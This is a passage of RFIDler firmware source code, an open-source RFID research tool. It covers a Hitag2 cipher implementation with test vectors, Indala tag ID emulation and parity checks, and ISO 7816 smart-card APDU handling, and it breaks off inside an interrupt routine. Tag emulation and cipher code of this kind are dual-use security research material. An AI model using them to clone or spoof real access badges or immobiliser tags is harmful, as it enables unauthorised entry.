#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
if (steps > 32)
steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST
================================================
FILE: firmware/Pic32/RFIDler.X/src/indala.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// Anssi Kolehmainen contributed Indala64 validate & parity check
// indala functions
#include "HardwareProfile.h"
#include "rfidler.h"
#include "USB/usb.h"
#include "indala.h"
#include "psk.h"
// send indala 64 or 224 bit id
BOOL send_indala_raw(unsigned char *indala)
{
unsigned char i, j, idblocks, tmp[65];
static unsigned char bits[257];
static unsigned long long id[4];
// check we're not already emulating
if(mGetLED_Emulate() == mLED_ON)
return;
// ensure IDs are left padded with '0'
memset(tmp, '0', 64);
tmp[64]= '\0';
if(strlen(indala) > 16)
{
idblocks= 4;
for(i= 0, j= strlen(indala) - 1 ; i < strlen(indala) ; ++i, --j)
tmp[63 - i]= indala[j];
}
else
{
idblocks= 1;
j= strlen(indala) % 2;
strcpy(tmp + j, indala);
}
// now process up to 256 bits
for(j= 0 ; j < idblocks ; ++j)
{
if(!hextolonglong(&id[j], tmp + j * 16))
return 0;
for(i= 0 ; i < 64 ; ++i)
bits[i + j * 64]= (BYTE) (id[j] >> (63 - i)) & 0x01;
}
// skip the extra leading zeros
if(idblocks == 1)
{
i= 0;
j= 64;
}
else
{
i= 32;
j= 224;
}
return send_psk1_bin(bits + i, j, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.Repeat);
}
// we currently do a raw select, then check for 101 terminator, parity, & 2 zero bits
BOOL indala64_get_uid(BYTE *response)
{
int bits;
int i, n;
//Reading failed
if (!psk1_raw_get_uid(response) || (strlen(response) != 16))
return FALSE;
//Typical Indala64 key
//0x0000000123456785
//0b100100011010001010110011110000101
// ^^^- Always ends with 101
// ^^---- Parity bits, total must be odd
// ^^------ Always zero
// ^^^^^^^^^^^^^^^^^^^^^^^^^^-------- (Per site) scrambled wiegand-26 data
//Last three bits should be 101
//if (response[7] & 0x7 != 5)
if (response[15] != '5' && response[15] != 'D')
return FALSE;
//There should be two zero bits as well
//if (response[7] & 0x60 != 0)
if (response[14] != '0' && response[14] != '1' && response[14] != '8' && response[14] != '9')
return FALSE;
//Parity check, count bits
for (i= 0, bits= 0; i < 16; i++)
{
if (response[i] >= 'a' && response[i] <= 'f')
n= response[i] - ('a' - 10);
else if (response[i] >= '0' && response[i] <= '9')
n= response[i] - '0';
else if (response[i] >= 'A' && response[i] <= 'F')
n= response[i] - ('A' - 10);
else
return FALSE;
bits += __builtin_popcount(n);
}
return bits % 2;
}
// since we currently don't know how to interpret indala data, just copy
BOOL indala64_hex_to_uid(BYTE *response, BYTE *hex)
{
if(!strlen(hex))
return FALSE;
strcpy(response, hex);
return TRUE;
}
// since we currently don't know how to interpret indala data, we just do a raw select
BOOL indala224_get_uid(BYTE *response)
{
return psk1_raw_get_uid(response);
}
// since we currently don't know how to interpret indala data, just copy
BOOL indala224_hex_to_uid(BYTE *response, BYTE *hex)
{
if(!strlen(hex))
return FALSE;
strcpy(response, hex);
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/iso7816.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// send iso 7816 apdu and automatically correct size error and get response data if offered
// status is returned in cardResponse.SW1 and cardResponse.SW2
// if available, data will be returned in apduData
//
#include "HardwareProfile.h"
#include "rfidler.h"
#include "./Smart Card/SClib.h"
#include "iso_7816.h"
#include "util.h"
// smart card global buffers
SC_APDU_COMMAND cardCommand;
SC_APDU_RESPONSE cardResponse;
BYTE apduData[255];
// send iso 7816 apdu and automatically correct size error and get response data if offered
// status is returned in cardResponse.SW1 and cardResponse.SW2
// if available, data will be returned in apduData
BOOL send_iso_7816_apdu(BYTE cla, BYTE ins, BYTE p1, BYTE p2, BYTE lc, BYTE *data, BYTE le)
{
// clear old return values in case execution fails
cardResponse.RXDATALEN= 0;
cardResponse.SW1= 0x00;
cardResponse.SW2= 0x00;
cardCommand.CLA= cla;
cardCommand.INS= ins;
cardCommand.P1= p1;
cardCommand.P2= p2;
cardCommand.LC= lc;
cardCommand.LE= le;
if(lc)
memcpy(apduData, data, lc);
WaitMilliSec(10);
if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))
return FALSE;
// wrong length - retransmit with corrected LE
if(cardResponse.SW1 == 0x6c)
{
cardCommand.LE= cardResponse.SW2;
WaitMilliSec(10);
if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))
return FALSE;
}
// get response bytes if requested by target
if(cardResponse.SW1 == 0x61)
{
cardCommand.CLA = 0x00;
cardCommand.INS = 0xC0;
cardCommand.P1 = 0x00;
cardCommand.P2 = 0x00;
cardCommand.LC = 0x00;
cardCommand.LE= cardResponse.SW2;
WaitMilliSec(10);
if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))
return FALSE;
}
// check final response
if(cardResponse.SW1 == 0x90 && cardResponse.SW2 == 0x00)
return TRUE;
return FALSE;
}
// convert HEX string APDU and send
BOOL iso_7816_send_hex_apdu(BYTE *apdu)
{
BYTE cla, ins, p1, p2, lc= 0, le= 0, i= 0;
// clear old return values in case execution fails
cardResponse.RXDATALEN= 0;
cardResponse.SW1= 0x00;
cardResponse.SW2= 0x00;
// we must have at least CLA + INS + P1 + P2
if(strlen(apdu) < 8)
return FALSE;
// note we don't do any data validation!
cla= hextobyte(&apdu[0]);
ins= hextobyte(&apdu[2]);
p1= hextobyte(&apdu[4]);
p2= hextobyte(&apdu[6]);
// assume last parameter is LE if only one more byte
if(strlen(apdu) == 10)
le= hextobyte(&apdu[8]);
else
{
lc= hextobyte(&apdu[8]);
for(i= 0 ; i < lc ; ++i)
TmpBuff[i]= hextobyte(&apdu[10 + i * 2]);
// process LE if present
if((strlen(apdu) / 2) > i + 6)
return FALSE; // malformed apdu - too many bytes!
if((strlen(apdu) / 2) == i + 6)
le= hextobyte(&apdu[i + 5]);
}
return send_iso_7816_apdu(cla, ins, p1, p2, lc, TmpBuff, le);
}
// show return as [DATA]++
void iso_7816_output(void)
{
WORD i;
for(i= 0 ; i < cardResponse.RXDATALEN; ++i)
UserMessageNum("%02X", apduData[i]);
UserMessageNum("%02X", cardResponse.SW1);
UserMessageNum("%02X\r\n", cardResponse.SW2);
UserMessage("%s", "\r\n");
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/isr.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// bad stuff happens if this gets optimised!
#pragma GCC optimize("O0")
#include "HardwareProfile.h"
#include "rfidler.h"
#include "rwd.h"
#include "comms.h"
unsigned long HW_Bits;
BYTE HW_Skip_Bits; // skip arbitrary number of leading bits (externally adjusted for manchester/biphase)
unsigned int PSK_Min_Pulse;
BOOL PSK_Read_Error= FALSE;
BOOL Manchester_Error= FALSE;
unsigned int Clock_Tick_Counter; // provide external routines with accurate count of ticks
BOOL Clock_Tick_Counter_Reset= TRUE; // provide external routines with means to reset tick counter
unsigned long Reader_Bit_Count= 0L; // make this externally visible so init routines can clear it
char Previous= -1; // make this externally visible so init routines can clear it
// Interrupt Service Routines
//
// Reader clock ISR
// also process RWD commands while we toggle clock line
void __ISR(_OUTPUT_COMPARE_5_VECTOR, ipl6auto) reader_clock_tick (void)
{
static unsigned int count; // internal tick counter in case we interfere with external timers
// Clear interrupt flag
mOC5ClearIntFlag();
mLED_Clock_On();
// update tick counter for external FC timer routines
if(Clock_Tick_Counter_Reset)
